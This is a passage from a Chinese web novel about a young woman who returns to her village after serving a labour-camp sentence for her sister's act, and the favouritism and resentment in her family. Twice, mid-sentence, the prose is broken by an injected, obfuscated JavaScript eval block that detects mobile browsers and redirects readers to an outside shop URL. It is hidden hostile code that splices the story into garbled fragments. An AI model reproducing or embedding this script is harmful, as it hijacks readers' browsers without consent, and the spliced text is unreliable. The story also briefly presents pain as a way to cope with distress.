贺明峥本可以直接拒绝,但街道办事的,还有领导们,都来做他的思想工作。 这么一个讲究和气的社会环境,贺明峥不能直来,渐渐也学会了迂回战术。一般是能躲就躲,躲不过去就自己装病一起进医院,反正不想照顾那老婆子。 见外孙心肠这么硬,和孝顺女儿一点也不像,老婆子就开始强硬介入贺明峥的生活。 那老婆子找所里保卫科的人哭诉后配了一把和贺明峥房门一样的钥匙,可以打开贺明峥的房门。 那老婆子时不时就来关心一下贺明峥,送点吃的菜,周围人都夸贺明峥外婆对他好,让贺明峥记得感恩。 贺明峥左耳进右耳出,也不在乎。 直到前段时间老爸在香江的好友送来那些东西,大家猜测贺明峥老爸是真的没死在外面,而且可能还发达了。 贺明峥舅舅家不缺钱不缺吃喝,但好奇外面的洋玩意儿,毕竟现在大陆的行情就是供不应求,有很多洋玩意儿有钱也难买。 上次那些衣服首饰包包和巧克力饼干等,也不是贺明峥舅妈拿的,是贺明峥外婆做主拿走的,那老婆子最爱自己一手带大的孙女儿,看到漂亮的裙子首饰,想着肯定是洋玩意儿,一定要拿走给孙女儿。 也亏得她聪明,知道拿走全部东西肯定会惹恼外孙,最后只在里面随意挑了几样。 贺明峥不爱吃什么糖果饼干巧克力,也用不着女生的首饰包包,可那些是老爸送给姜四儿的赔礼。 贺明峥老爸并不知道姜四儿坐牢的事,他觉得当初要不是他自己阻止,加上后来媳妇儿生病去世的事,那乡下姑娘早就进城和儿子结婚了。 所以为了弥补儿子最爱的姑娘,贺明峥老爸买来这些东西赔罪。 这些东西有一部分被外婆拿走后,贺明峥砸了门锁,直接换了锁芯和钥匙,现在那老婆子再也进不了贺明峥的房门。 “你这一换锁,你外婆又得闹,到时候所里领导又得找你谈话,何必呢。”同事的话让贺明峥从回忆中回神。 半截身子快入土的偏心老婆子,贺明峥并不在乎。 他现在烦心的是到底要不要把剩下的东西都给姜四儿送过去。 他要是送过去,势必又要和姜四儿扯上关系,这不在他人生的规划之中。 他早已开启新生活了,没有姜四儿的新生活。 11. 重修 晚上,躺在床上的姜二丫一边给孩子扇风,一边问,“姜小芯,你最喜欢谁?” “最喜欢你,还有奶奶。” “只能说一个,最喜欢谁?” “你!” 姜二丫的嘴瞬间咧得老大了,笑得心满意足。 “那你今天为什么给你四姐两颗巧克力豆?我才一颗。” “是四姐姐找我要的。” “不是你主动给她的?” “不是。” 姜二丫这下彻底放心了,抱着小家伙亲亲小脸蛋儿,哄睡。 睡眠质量好雷打不动的姜二丫率先睡着,她一睡着,没人扇风了,姜小芯在这小小的杂物间热得衣服湿了大半。 于是乎,姜小芯再次爬了起来,推开虚掩的房门走到堂屋,又搬了把椅子爬上去,两只小手用力推开门栓后,从椅子上下来。 听到孩子去水井旁的声音,睡眠浅的姜木匠和春花醒了几秒后又昏沉沉睡去。 另一个房间里还没睡的方感勇和姜老三正在聊天。 方感勇给媳妇儿扇着风,“你小妹又去玩水了。” “小孩儿嘛,身上热。” 小俩口继续闲聊,突然,又听到了另一道压低的声音。 担心小妹有危险,姜老三赶紧从床上爬起来,打开自己房门一看,外面和小妹说话的是姜四儿。 随即姜老三扯着哈欠关上门。 “外面谁啊?” “我四妹,也进了院子。” 四妹?方感勇咽了咽口水,脑子里浮现姜四儿那张干活时白里透红的漂亮脸蛋儿。 院子里,姜四儿看到三姐关门以后,小声问道:“姜小芯,你爸妈对你好吗?” “好呀~”姜小芯晃着小脑袋,大大地点了个头。 “你几个姐姐对你好吗?” “好呀~” “哦。”姜四儿沉默着没再说话,老老实实给这小屁孩扇风。 听着外头叽叽喳喳的声音,姜老三有些烦,这四妹,不会想着要和小妹认亲吧。 未婚生子,家里又瞒着生产队的人……这可不是什么光荣的事,会影响家里名声。 ‘四妹应该不会这么糊涂。’姜老三翻来覆去地思考。 有点心烦的姜老三爬了起来,打着手电筒开始在自己房间找那只一直嗡嗡响的蚊子。 “这房间到处都是洞,明天拿点泥巴过来糊糊,”方感勇嗅了嗅鼻子,“媳妇儿,这房间里头怎么总是一股怪味儿。” “今天刮北风,把厕所里的味儿都刮了进来,”姜老三终于拍死了那只蚊子,“都怪我爸妈,把那新修的小砖房给了四妹住,要不是四妹,咱们现在都住进小砖房了,哪用得着在这闻臭气。 四妹……又是四妹……方感勇心里扑通扑通跳,那是心动的感觉。 “不要说她了。”方感勇口干舌燥道。 “好,不说她了,想到她就烦。”姜老三也躺了下来。 躺下后姜老三又是有点心虚,其实四妹也没做错什么,她不该老是在背后说四妹坏话。 只是老三脾气大,又是春花最喜欢的孩子,所以说话口无遮拦,有时说完又后悔。 几年前,刘途还不是他们的大姐夫,他提着一包糖带了一本存折过来,说要娶大姐,那本存折就是他的心意,以后他的钱都给大姐拿着。 当年这件事让姜家几个人喜得发狂。 姜家当时很穷,一家都是泥腿子,男劳动力不足,一年到头除去交公粮后,分给姜家那点口粮根本不够吃。 刘途是公社里最受欢迎的男同志,家世好,父亲公社革委会副主任,母亲也是个不大不小的官。家里亲戚更是有钱,有在省城工作的,有在县城扎根的。 刘途长相身材好,脾气更是好的没话说。 这样完美的男同志,别说本地女同志,那些下乡女知青上赶着的也是一大批。 为了娶姜大妞,刘途和家里抗争了很久,终于得到家人的认可。 如今这么好的人要娶姜大妞,可不把姜家人给高兴坏了吗。 当时姜木匠兴冲冲地出门去买酒,春花和几个女儿做饭,怎么说也要把刘途留下来吃顿饭。 姜木匠太得意了,买酒的途中和众人炫耀,很多人便都知道刘途要娶姜大妞的事。 很多刘途的追求者受不了,其中便有林姗。 林姗追了刘途几年,喜欢他喜欢得发狂。即使刘途从来没搭理过林姗,也不妨碍林姗就认定了这个家庭条件好的男人。 就在姜家人和刘途在堂屋摆了大圆桌吃饭喝酒庆祝时,林姗闯了进去,抓着刘途的衣领疯狂大哭,求他不要娶姜大妞。 在场的大都喝得晕乎乎的,第一次碰酒的姜四儿更是喝得趴在桌上呼呼大睡。 林姗在这发神经再次遭到刘途的拒绝,嫉妒心爆发的林姗忍受不了条件这么好的男人对姜大妞死心塌地,嫉妒让她扭曲。 林姗猛地朝姜大妞打过去。 脚步蹒跚的姜大妞毫无还手能力,被逼得跌跌撞撞往后面退。 变故就在一瞬间, 被扯头发扇巴掌的姜大妞反抗一推,林姗被门槛绊倒,杂物间锋利的锄头镰刀铲子等等农具一齐倒下,林姗瞬间发出痛呼声,腿骨折,铁耙子刺穿大腿,其它农具更是倒下割伤了她,鲜血也染红了地面的泥土。 刘途和姜家人吓得清醒大半。 大家手忙脚乱要送林姗去医院,却只听林姗发毒誓说一定要报公安让姜大妞坐牢。 刘途和姜木匠夫妇当场跪下,求林姗放过姜大妞。 姜老三看到满地的血吓得躲在旁边房间,最后不知过了多久,姜二丫也回了房间。 “怎么办?”姜老三害怕得很,求助二姐。 姜二丫心情复杂地开口,“他们已经商量好了。” 刘途会给林姗大笔钱,承诺给林姗在大城市找一份好工作,承诺……承诺让姜家付出代价。 “什么意思?”姜老三没听懂。 本来就是林姗自己来找茬,现在赔钱赔一份大城市的好工作都不行?还要让姜家付出什么代价? 姜二丫欲言又止。 林姗想要钱想要工作,但她也想让姜家生不如死。 就算刘途给她钱给她工作又如何?等姜大妞嫁给刘途,姜大妞以后的日子照样风生水起好不快活,林姗受不了。 她可以不嫁给刘途,但她也不能眼睁睁看着别的女人嫁给条件这样好的男人去享福。 那就让姜大妞一家付出代价,她可以收下那些好处让姜大妞不坐牢,那就让姜大妞姐妹去坐牢,总之要搅得姜家不安宁。 姜木匠和春花其实本来是想让姜二丫去顶罪,可清醒的姜二丫怎么可能答应。 最终,这事落在了喝醉的姜四儿头上。 林姗进了医院,姜四儿酒醒后被民兵给带走,关在公社很久后,又被县公安的人过来带走。 这件事,四妹不可能知道真相,她们也不可能告诉她。 牺牲一个人几年时间,换来一家子太平。也换来了姜家的好日子,刘途后来娶了姜大妞以后,刘家给姜大妞和姜二丫都安排了好工作。 如今回忆起几年前那些往事,姜老三心情起伏不定,一会儿怨恨四妹抢走了自己的小砖房,一会儿又可怜四妹觉得四妹受委屈了。 两种情绪纠缠,让姜老三一晚上没睡好。 第二天,从睡梦中惊醒的姜老三起身拿过桌上的马蹄表小闹钟,借着月色看看时间,现在是凌晨四点半。 隐约能听见爸妈房间的嘻嘻索索说话声,应该是爸妈要起床了。 姜老三推了推丈夫,俩人也开始起床洗漱。 五点多,生产队出工的人都拿着农具开始往田地里赶去。 姜四儿早就醒了,但是等到其他人都走了以后才敢出现在姜家院子里。 她手脚麻利地开始扫地,扫院子里,扫厨房里。 家里人昨天换下的脏衣服堆在椅子上,姜四儿把爸妈沾满污泥的衣服洗了晾好,然后开始劈柴烧火做饭。 这时时间已经来到七点多,姜二丫开始起床,她要去公社食品站上班。 和前几天不同,这次姜二丫把喜欢在生产队玩泥巴的小妹也给带走了。 这是她昨晚就决定的,以后要减少小妹和四妹的接触,免得四妹和她抢小孩儿。小妹只能和她最亲,是她辛苦带大的。 “坐在前面杠上,坐好了。”姜二丫和小妹嘻嘻哈哈的骑着单车离开。 姜四儿连忙追出去在厨房门槛外问,“二姐!饭做好了,你们不吃吗?” “不吃,我和小妹说好了带她去公社吃好东西。”姜二丫踩单车踩得更快了,生怕姜四儿缠上。 姜四儿抿了抿嘴,把做好的饭菜搁在灶台上,然后又去了二姐房里把她和芯芯昨天洗澡后脱的脏衣服都给洗了。 其他人下工后回来吃早饭,方感勇看到姜四儿在洗衣服,和自家媳妇儿使了使眼色。 姜老三端着饭碗走到那红色搓衣板边上,“四妹,以后你把我和勇哥的衣服也一起洗了呗,家里人这么多,你不能偏心啊。再说了,每次我和勇哥在外面累了一天回来,哪还有精力搓衣服啊。” 这个四妹最好说话,姜老三是知道的,所以她说完就走,觉得四妹不会拒绝自己。 “三姐,”姜四儿叫住自信满满的姜老三,“不是我不想给你洗,是因为你和三姐夫结婚了,是两口子,我一个做妹妹的洗你们两口子的衣服不合适。” 姜四儿其实也说不上哪方面不合适,但就是心里抵触。如果是几年前,她就算心里不适也不会拒绝。 可坐牢这几年,她成熟了很多,也学习了很多,知道拒绝让自己不适的要求。 姜老三没想到四妹变成这样了,“两口子咋了,爸妈不也是两口子吗?又没让你洗内衣内裤。” “爸妈是爸妈,你们是姐姐姐夫,不一样。”姜四儿已经快坚持不住了,姜老三要是再胡搅蛮缠几下,以姜四儿那软软的性子可能就会忍不住答应。 好在姜老三脾气大,说不了几句就不耐烦了,没有继续缠着四妹。 姜老三踢厨房门槛时,骑着单车过来的姜大妞夫妇俩过来了,停在了院子里。 “怎么了?你俩吵架了?”刘途问。 姜老三撇撇嘴,“还不是四妹,洗全家人的衣服就是不洗我的衣服。” 春花听了也觉得不对,让姜四儿以后把三姐三姐夫的衣服一起洗了。 姜四儿还没来得及解释,刘途皱眉制止,“那不行,四妹一个小姑娘,让她洗三姐三姐夫的衣服像什么话。” 刘途就是家里最尊贵的人,他说的话就是圣旨,姜木匠和春花都听他的, “对,对,这样确实不好。那个……老三啊,你们两口子的衣服以后自己洗。” 姜大妞已经向四妹走去,将一篮子鸡蛋和肆俩红糖递上,“给你补身体的,这次连红糖也给你找到了。” 昨天供销社来了两斤红糖,姜大妞立马给四妹抢来了一部分。 似乎是没想到平日里温柔的姜大妞能为了红糖变得这么彪悍,供销社主任和其他职工也没敢和姜大妞抢。 除了补身体的鸡蛋红糖,姜大妞这次还给四妹送了另一个礼物————是一辆车把手上系着喜庆红布的自行车。 刘途搂着媳妇儿对姜四儿贺喜,“四妹,你们姐妹间感情深厚。你大姐想着给你买辆单车可以方便你出行,你来看看喜不喜欢。” 喜欢!这可太喜欢了! 姜四儿冲到那自行车旁,双手搭在车把手上用力握着,抬头冲大姐笑得露出洁白的牙,“谢谢姐。” 锰合金钢的材质,外表一层光滑的油漆,手摸在上面冰冰凉凉。 姜四儿的笑容没掉下来过,这东西凭票购买也得一百七十多块钱,大姐真的太好了。 “凭什么!” 姜老三的尖叫打破这其乐融融的场面。 “二姐有工作,四妹有单车,就我,啥也没有?”姜老三脸色气得发白,“大姐,你也太偏心了。” 平日里不支持媳妇儿大吼大叫的方感勇在这次也支持媳妇儿大闹,一家子姐妹,也太偏心眼了。 被指责的姜大妞心中难受,刘途把媳妇儿护在身后,“三妹,说事就说事,别大呼小叫地吓着你姐。食品站工作一开始就是给你找的,你嫌弃卖猪肉太脏身上有味儿,不愿意去。最后这差事儿才落到你二姐头上,至于你结婚,你大姐也给你包了大红包。如今你结婚了,是大人,四妹没结婚就还是家里的孩子,你大姐多照顾一点她有什么错?” 姜木匠本来就最心疼大女儿,也一起帮着大女婿怒斥三女儿三女婿。 春花心疼三女儿,赶紧说好话调停。 “妈,我算是你半个儿,有些话我得说。三妹不小了,脾气得收敛些,你别老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586548|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是惯着她。” 姜老三一听这话就不乐意了,脾气更大,“我妈惯着我咋了?大姐夫你有什么看不惯的?你爸妈不惯着你?你不一样惯着我大姐?我大姐当年————” “啪!” 姜木匠一巴掌扇了过去。 姜四儿和方感勇都惊了,不理解为什么发这么大火,毕竟姜老三在家里横还骂脏话是经常发生的情况,以前不打不教育,怎么偏偏现在打? 姜老三被打了一巴掌又是愤恨又是后怕,从小到大她骂遍家里所有人,爸妈都没打过她,如今当着姐姐姐夫的面被打,太丢脸。 可她也后怕,刚才差一点就把当年坐牢的真相说了出来。她也知道,这件事是爸妈和刘途的底线。 姜老三没有再说话,却是猛地踹了一脚四妹的单车,然后一路上遇到什么踹什么,回到房间用力摔门躺在床上哭,也不去上工了。 一家子鸡飞狗跳的,等所有人各就各位离开,姜家只有不自在的姜四儿和躺在房间装死的姜老三。 姜四儿扎扫帚也静不下心, ‘还不如在劳改农场的日子。’姜四儿在心里如此想。在劳改农场知道哪些人会欺负自己,知道拳头巴掌什么时候会落下,都是可预见的。 回到家,她每时每刻看家里人的眼色,家里人笑了,她也赶紧跟着笑,融入其中。 家里人皱眉或是脸色不好心情不好,她就担心自己的存在会碍他们的眼。 这种日子,每天都过得很痛苦。 将做扫帚的地肤草一条条撕下来,按照枝条的长度一根根摆好。半个小时后,姜四儿实在无心此事,放下手上的活去三姐房间。 “三姐,那单车是我们家的,我们家里人都可以用,以后你想去哪儿自己骑就行,反正我也没什么地方可去。” 姜老三本不想搭理,但是听着四妹讨好的语气又有些可怜对方,所以老老实实“嗯”了一声。 这一声算是解放了内心敏感的姜四儿,这下她可以安心去干活了。 地肤草纤细只有几毫米粗的枝条被一根根撕下来,又将其晾晒,只等晒干后就可以制作扫帚。 这些天姜四儿已经制作了三十把扫帚,只等着送去公家单位换钱。 就在姜四儿摆弄枝条时,突然被反射的阳光刺了眼。 蹲下去看,地上一抹蓝色。 那是一个小耳钉,花瓣形状,由蓝宝石和透明无色的钻石组成。 姜四儿见到过,就在昨日程月梨的耳垂上。 想来,是程月梨昨日来买豆角时掉在这里了。 姜四儿赶紧去叫三姐,姜老三跑出来一看,对着那漂亮耳钉嘿嘿直笑。 这东西真招人稀罕,世界上怎么会有这些好看的东西呢。 姜老三以为四妹叫自己来是让自己捡来据为己有的,没想到四妹是想让自己把东西给程月梨那小知青送去。 切,姜老三瞬间没了兴趣,“要送你自己送,她自己弄丢东西活该,凭什么让我给她送去。” 姜老三踢了一脚地上的枝条,气消得差不多了,她要去下地干活。 良心不安的姜四儿捡起耳钉,在院子里边干活边等着,看程月梨有没有经过。 可是一整天程月梨都没从自家门前经过,等晚上姜家人回来,姜四儿让家里人给程月梨送去。 晚上姜四儿照例在姜家院子里等到了溜出门在水井旁玩水的姜小芯。 一天没看到这孩子,姜四儿很想念。 姜小芯却在闲聊玩闹间告诉了姜四儿一个秘密,“四姐姐,你给妈妈的耳环被三姐姐拿走了。” 春花压根没把东西还给程月梨,一个耳钉,又不是金的银的铜的,能值几个钱? 姜家人认定那东西不值钱就是小孩子塑料玩具一样的东西,所以对于姜老三想要那耳钉,其他姜家人没有任何意见。 姜四儿却因为此事接连两个晚上没睡安稳。 从三姐手里要回来那个耳钉,姜四儿在一个大家都出去上工的白天,厚着脸皮出了门。 走在路上问程知青的去处,在一个鱼塘里看到了正拿着网舀水草的程月梨。 程月梨上岸,看到姜四儿递出那枚耳钉,惊讶道:“原来东西在你这儿。” 她前几天发现耳钉不见了并不惊慌,只在房间里找了下,没找到也就算了。 这种东西不是金不是银,知青点背面院子里的男知青说是玻璃,也有见多识广的一个知青说是一种石头,总之这东西不值钱。 所以程月梨并不在意东西的丢失。 如今姜四儿特意拿过来,程月梨想接过又有些嫌弃,她看到了姜四儿手上绿色的枝条汁液和灰尘泥土混在一起的样子,很脏。 “东西我不要了。” “……我……我没弄坏它……”姜四儿不明白为什么不要了,明明这么漂亮的东西。 程月梨是个体面的善良的人,怕对方难堪多想,不愿意直接说明原因,所以找了个借口,“这耳钉有两个,我左耳戴了一个,这一个送你,以后咱们就是好姐妹。” 啊……是这样吗? 姜四儿开心得眼睛都瞪大了,又突然想起来自己没打耳洞。 但是这没关系,程月梨可以帮她用缝衣针穿透。 俩人约定好下工后见,姜四儿脚步轻快地往家里赶。 路上碰到几个七八岁孩子,互相手拉着手给自己打气,“她就是那个坐牢的人,我好怕。”“别怕,我们都低着头,她就不会打我们了。”“呜,我害怕。”“快低头,她看我们了。” ………… 孩子们吓得厉害,姜四儿跑了起来远离他们。 路上又遇到其他乡亲,那些成年人没说什么,有的看见她装没看见,有的微笑点了点头,有的躲着匆匆远离。 而当她在路上遇到运送一车白菜秧苗的爸妈时,姜四儿的心沉了沉。 姜木匠和春花什么也没说,看见是姜四儿出门后,嘴唇抿了抿,然后重重叹气一声。 老两口疲惫且不是善意的异样眼神在四女儿身上搁了几秒,在四女儿开口叫爸妈打招呼后,老两口勉强挤出笑容“嗯”了声。 就是这种眼神,让姜四儿寄人篱下的眼神。 浑浊、狐疑又带着欲言又止的眼神,不知该怎么形容,但是让姜四儿浑身不自在,时刻精神紧绷着。 姜四儿心都凉了半截,用衣服遮住下巴,低着头小跑回家。 12. 重修 程月梨当天下工后果然按约定来到了姜家给姜四儿穿耳洞。 和二姐姐一起从公社回来的姜小芯凑过来看,眼神中透着担忧和好奇,“知青姐姐,会很疼吗?” “就一点点疼。”程月梨心里也没底,她的耳洞是她妈给弄的,确实有点疼,但还好,能承受。 她学着妈妈当年的方法,在姜四儿右耳朵上使劲捏,把耳垂捏得薄薄的几乎透明一片,然后拿着用紫药水消毒后的缝衣针,手速飞快地扎穿。 扎完后直接把那蓝宝石花瓣耳钉戴上,大功告成。 姜小芯小心翼翼地伸出手去摸四姐姐的耳垂,刚一碰到又赶紧把手缩回来。她看着都觉得疼,但四姐姐竟然没有任何反应。 姜小芯小脸蛋儿满是愁绪,小跑着躲进厨房里正在吃饭的二姐姐怀里。 二姐姐耳朵上也有耳环。 那耳环是由铁钩制作而成,铁钩一端穿过耳垂,另一端挂着星星形状的塑料片。 和姜二丫耳垂上的塑料铁钩耳环相比,姜四儿右耳上的蓝宝石花瓣耳钉闪着光,很耀眼。 “你真的不疼吗?” 院子里,程月梨还在追问。 从头到尾,不管是程月梨使劲捏薄对方耳垂还是拿针穿透,姜四儿都没什么表情,这也太奇怪。 难道自己扎耳洞的手法这么好?程月梨钦佩自己的技术。 姜四儿乐呵地笑着,“疼,你捏我耳垂的时候可疼了。” “你当时怎么不说?你说了我会下手轻一点。” “没必要说,我挺喜欢的,疼点好。” 程月梨不敢相信自己听到的:“你喜欢疼?” “嗯。”姜四儿轻声回道。 程月梨:“…………” 久久沉默,程月梨不知该作何反应,一脸懵。哪有人会喜欢疼啊?莫不是脑子有病吧。 姜四儿怕她误会自己是个怪人,赶紧解释,“我有时候心情不好,疼痛的时候能转移注意力,让自己解脱。” “……呃……哦。好,好。”程月梨挠挠头,突然有点害怕这个奇怪的人,所以匆匆离开。 厨房的小桌上,方感勇喊着, “耳朵眼穿完了吗?四妹,赶紧进来吃饭。” 姜四儿怨自己说错话吓跑了程月梨,心情低落地进了厨房。 饭桌上,吃完晚饭的姜二丫开始给姜小芯喂饭,追着她喂。 春花看不下去,敲了敲饭桌,“这么大了,让她自己吃。” 姜二丫没回话。 她讨厌家里这些人,爸妈都偏心,她姜二丫从小就不受宠。小时候把家里两角钱弄丢了,老爸打得她几天下不来床。三妹弄坏了家里的新木桌,却被百般护着一点事也没有。 从小爹不疼娘不爱,好不容易有个从小带大的姜小芯最爱最黏着她这个二姐,她怎么可能放手。 “听到了没,让她自己吃,都三岁的孩子了,还追着喂。” “哎呀我知道了,妈,你少说几句。她现在还小啊,等大了点我就会让她自己吃。” 姜二丫语气有些不耐烦,她这两年自己有了工作,腰板渐渐硬了。 等姜二丫追着姜小芯跑出厨房去外面马路上喂饭,姜老三挑拨离间,道:“妈,你听到了吗,二姐刚刚吼你。” “我听到了。”春花撇撇嘴。 母女俩互相使眼色,交流着姜二丫的坏话。又突然了然一笑,眼神朝姜四儿看过去。 “…………”姜四儿身体一僵,嘴里的米粒也不敢嚼,像被石化了。 东边座位上,埋头吃饭的姜木匠猛地一拍筷子,把瓷碗用力一推,梗着脖子起身,终于把憋了很久的话说了出来, “四儿,以后少出门,外面人老说闲话,我和你妈脸都丢尽了。” 本来这些天姜四儿不出门,存在感低,大家也就渐渐忘却了姜家这个坐过牢的女儿。 可今天姜四儿出门,那些闲言碎语又多了起来。 姜木匠心里不好受,觉得没脸。 “我今天是去给程月梨送东西——” “我知道,爸爸不是怪你,”姜木匠打断,“我呢,是想说没事不要出门,有事你可以和我们说。” “嗯,我知道了。” 一家人吃完饭散开,姜四儿清洗碗筷,收拾厨房卫生。 一个人就是她最自在的时候,她实在不喜欢和家里人待在一起。 姜四儿不出门,姜大妞给买的自行车果真成了姜老三夫妻俩的所有物。 而夫妻俩,又属方感勇用单车用得最多。 方感勇最近的任务就是每天和程月梨一起去给生产队鱼塘清理浮萍。 鱼塘水面上被绿油油的浮萍小草给覆盖,把水面和空气隔绝得死死的,氧气进不去,鱼都快死光了。 俩人每天大清早就要去各个鱼塘捞这些浮萍小草,这玩意儿杀不死,今天捞完了,第二天一早起来一看,又是满满当当到处都是,所以每天都要清理。 程月梨身高一米六几,比很多这里的男同志都高,又会游泳,所以这也是生产队长安排她来干这些的缘故。 她下水,在鱼塘边缘用网兜捞浮萍。 方感勇骑着单车在旁边另一个鱼塘停下,用竹竿浮在水面上推动,把浮萍赶到一处去。 一个大块头男知青过来。给他们想办法, “你们俩怎么不用鸭子,在里面放几个鸭子,很快就能把这些浮萍吃完。” “你以为就你聪明?”程月梨翻了个白眼,“我们前几天去一个养殖场借了二十只鸭吃浮萍,结果第二天那些鸭子死了一半,剩下一半也快死了。” 方感勇苦笑,“是啊,小程同志没说错,死了那么多鸭,咱们大队长都快被骂死了。没办法,只能用笨办法解决这些浮萍。” 大块头不解,“啊?为什么会这样?” “谁知道呢,倒霉呗。” 程月梨浑身湿透,从鱼塘里起身,又从另一个方向下水,继续捞浮萍。 看着她打湿后贴身的衣服,大块头男知青红着脸偷看,遭到方感勇的打趣。 “你别痴心妄想了,程月梨家条件好,不可能嫁给你。”方感勇小声道。 大块头抿了抿嘴,像头牛一样气冲冲离开。 方感勇中午回去吃饭和老婆说这件事,俩人笑话那大块头癞蛤蟆想吃天鹅肉。 两口子在这里小声嘀咕,扛着锄头从地里回来的姜老爹怒斥了他们一声,“又在这嘀咕什么?” 姜老爹就觉得这方感勇不是个好东西,俩人偷偷摸摸,肯定是在背后说自己坏话。 姜老三无语地翻了个白眼。 姜木匠走去水井把满腿的泥土洗干净,突然又听到有铃声响起,回头一看,是大女儿和大女婿回来了。 一脸严肃的姜老爹在看到大女儿以后,笑得眼睛都眯成了一条缝,“大妞啊,怎么不把我那小外孙带过来。” 老说要去镇上,可天天忙得没时间去看小外孙,姜老爹可想念那孩子了。 “爸,孩子还小,婆婆不放心。”姜大妞笑着把老爸迎进了屋,把老爸的锄头放到一边。 姜木匠眼珠子一转,把姜老三和三女婿支到厨房帮四儿一起做饭,然后又把姜大妞和大女婿偷偷带到自己房间。 从床头翻着翻着,终于翻出一袋牛肉干和一罐子肉罐头大半袋麻花,姜老爹炫耀宝贝似的把这些东西拿了出来,“这是你三妹结婚的时候县城里几个姑老表送给我和你妈的,我和你妈舍不得吃,给你藏着呢。赶紧吃,别让你二妹三妹看到了。” 姜大妞也不是没吃过这些好东西,不过这是老爸的心意,她从不会做一些让老爸不开心的事。 拉着刘途坐在床边吃着牛肉干,大妞还不忘劝自己老爸,“爸,以后有好东西你和妈妈自己吃,别老想着我们。” “我不想你们想谁啊?”姜老爹弯腰从床底又翻出了一袋晒干的莲子,“把这袋莲子带回去给我亲家熬粥吃,啊。” “谢谢爸。”姜大妞笑着拿出一根牛肉干递到老爸嘴边。 嚼了几口,姜老爹背着手疑惑,“这玩意儿也不像他们说得那么好吃,我看牛肉还是煮着油炸着更好吃。” “爸,你想吃煮的也简单,五大队的耕牛老死了,这两天正在分肉呢,我去给您买一点过来。”刘途笑道。 “好哇,好,”姜老爹喜气洋洋,“还是你们疼我这个爹。我啊,吃了大半辈子的苦,这几年光享着你们夫妻俩的福了。” “爸,孝顺你是我们应该做的。” 这一家三口躲在房间里吃着好吃的,窗外偷听的方感勇眼睛都要冒火了。 跑去厨房,方感勇把正在烧火的姜老三给拉了出去,“老三,你爸正和你大姐吃好吃的呢,还偷偷背着咱们。” “他啊,就那样,”姜老三都习惯了,“别急,我妈肯定也给我留着好东西呢。” 家里老爸偏心大女儿,老妈偏心三女儿,这是整个生产队都知道的事。 “我就是想不通,你爸怎么能这么偏心呢?” “我大姐优秀呗,从小读书她就是最强的,我爸全指望她了。后来又被推举为工农兵大学生,从小到大,就她给咱爸长脸了,要不是因为那件事————”姜老三突然住了嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586549|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么事?” “没什么,没什么。”姜老三摇摇头,嘿嘿笑着装傻。 在房间里吃完东西,刘途出去后骑着自己那辆老旧单车载着大妞去了五大队。 “午饭就快做好了,这是要去哪?”春花在厨房大声问道。 “别瞎嚷嚷,他给咱们买牛肉去了。”姜木匠笑嘻嘻道,今天见了大女儿大女婿,他心情格外好,要是能再见见小外孙,那就更好了。 “什么牛肉?” “老耕牛。” “爸,你杀公家的牛,那是犯法的,”方感勇笑得阴阳怪气,“不过咱大姐夫不是一般人,好歹家里有关系,想必杀头耕牛也不是事。” “放你娘的屁!你他妈少在老子面前玩心眼,”姜木匠暴怒,“人家生产队的牛死了正在分肉,我那好女婿是去给我买肉,不是杀牛。你算个什么东西就敢阴阳怪气地骂你大姐夫,啊?” 姜木匠边说边砸了家里的锅,他想揍三女婿,又觉得不合适,一肚子火没地方撒,狠狠砸了家里的锅,吓得姜老三都不敢给自己老公说句好话。 “行了行了,人家小勇也不是故意的。”春花赶紧来劝自己老伴儿。 “就你能,你们一个个都能!看把你们这一个个能的,要不是你们大姐大姐夫帮衬你们,你们能过这样的好日子?丧良心的玩意儿,我呸!”姜木匠对着三女儿三女婿的方向‘呸’了一口,大步离开家里这群晦气玩意儿。 从头到尾透明人的姜四儿放轻自己的动作,和老妈一起收拾残局。 “妈,我有事要忙,先走了,你们吃饭不用等我。”方感勇在这再也待不下去,直接离开。老公被气走,姜老三对着妈妈抱怨老爸。 沉默寡言的姜四儿没说话,但也觉得爸爸没错,那个三姐夫确实是个事儿精。 也不知道三姐怎么看上这么个话多的男人,姜四儿叹气。 收拾地面的姜四儿只觉眼前的世界突然变暗, 不好,快要变天了。 姜四儿和三姐以及妈妈反应迅速地冲出门外,外面云层黑压压一片,要下雨了。 她们仨手脚麻利地把地面上晒的地肤草枝条都给转移到屋子里。 一边转移东西一边祈祷雨滴千万别在这时候落下,她晒了几天的地肤草,雨一落下会发霉,到时候做出来的扫帚颜色不好看,可能公家单位不会收。 生气跑出去的姜木匠也飞奔回来,加入到抢救的工作中。 远处生产队长到处喊人, “一个个还在家里磨蹭什么,生产队晒的莲子芝麻才是大事!” 留下姜四儿一个人收家里这些东西,姜木匠一家几口都跑去收生产队的粮食,那才是重中之重。 姜四儿跑去拿竹竿,把所有地肤草直接一窝蜂地赶去前面搭了帐篷的前院。 又以最快速度收完衣服,随着轰隆一声,隐约有雨滴落下。 远处生产队长的吼声传来,姜四儿放心不下,不顾爸妈‘不准出门’的叮嘱,跑了出去帮生产队的人一起收粮食。 还没脱壳的芝麻是最重要的,大雨一淋湿基本上就废了。 姜四儿跑去和社员知青们一起抢救,从竹竿上把晾晒的一捆捆芝麻杆搬进仓库里屋子里,以及任何能躲雨的地方。 